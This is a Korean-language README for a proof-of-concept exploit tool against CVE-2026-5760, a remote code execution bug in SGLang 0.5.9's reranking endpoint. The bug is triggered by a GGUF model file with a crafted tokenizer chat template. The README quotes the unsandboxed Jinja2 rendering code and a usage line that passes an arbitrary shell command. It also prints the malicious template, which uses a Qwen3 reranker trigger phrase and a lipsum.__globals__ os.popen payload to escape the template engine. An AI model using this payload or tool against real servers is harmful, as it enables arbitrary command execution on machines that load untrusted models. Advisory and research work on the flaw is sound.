
CVE-2026-5760 개념 증명(PoC) 익스플로잇 - 악성 GGUF를 통한 SGLang 0.5.9 원격 코드 실행(RCE)
SGLang의 reranking 엔드포인트에서 서버 측 템플릿 주입(SSTI)을 통한 원격 코드 실행. 악성 GGUF 모델 파일에 조작된 tokenizer.chat_template이 포함되어 있으며, 해당 모델이 SGLang에 로드되고 /v1/rerank 엔드포인트가 호출되면 임의 코드 실행이 이루어집니다.
SGLang의 샌드박스가 적용되지 않은 Jinja2 템플릿 렌더링을 악용하는 Critical 심각도 취약점을 활용합니다. SGLang의 reranking 엔드포인트(/v1/rerank)는 모델이 제공하는 채팅 템플릿을 ImmutableSandboxedEnvironment 대신 jinja2.Environment()로 렌더링하므로, 악성 모델이 추론 서버에서 임의의 Python 코드를 실행할 수 있습니다.
이는 llama-cpp-python에 영향을 준 CVE-2024-34359("Llama Drama")와 동일한 취약점 클래스입니다.
tokenizer.chat_template에 Jinja2 SSTI 페이로드가 포함된 GGUF 모델 파일을 제작합니다serving_rerank.py의 취약한 코드 경로를 활성화하는 Qwen3 reranker 트리거 문구가 포함됩니다/v1/rerank에 어떤 요청이든 도달하면 SGLang은 chat_template을 읽고 jinja2.Environment()로 렌더링합니다 — 샌드박스 없음파일: python/sglang/srt/entrypoints/openai/serving_rerank.py
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
return jinja2.Environment( # <-- Should be ImmutableSandboxedEnvironment
loader=jinja2.BaseLoader(),
autoescape=False,
undefined=jinja2.Undefined,
)
이 PoC는 악성 GGUF 파일을 생성하고 SGLang의 샌드박스가 적용되지 않은 렌더링 경로를 통해 코드 실행을 시연합니다.
python3 exploit.py "id"
인수로 셸 명령을 전달하세요 — 기본값은 id입니다.
GGUF 파일에 포함된 악성 채팅 템플릿:
MALICIOUS_TEMPLATE = (
'The answer can only be "yes" or "no".\n'
'{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
'{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
The answer can only be "yes" or "no")는 SGLang의 Qwen3 reranker 감지를 활성화하여 요청을 취약한 _render_jinja_chat_template() 경로로 라우팅하는 데 필요합니다.lipsum.__globals__["os"].popen()은 Jinja2 컨텍스트를 벗어나 임의의 OS 명령을 실행합니다.이 도구는 승인된 보안 연구 및 교육 목적으로만 사용해야 합니다. 책임감 있게 사용하세요.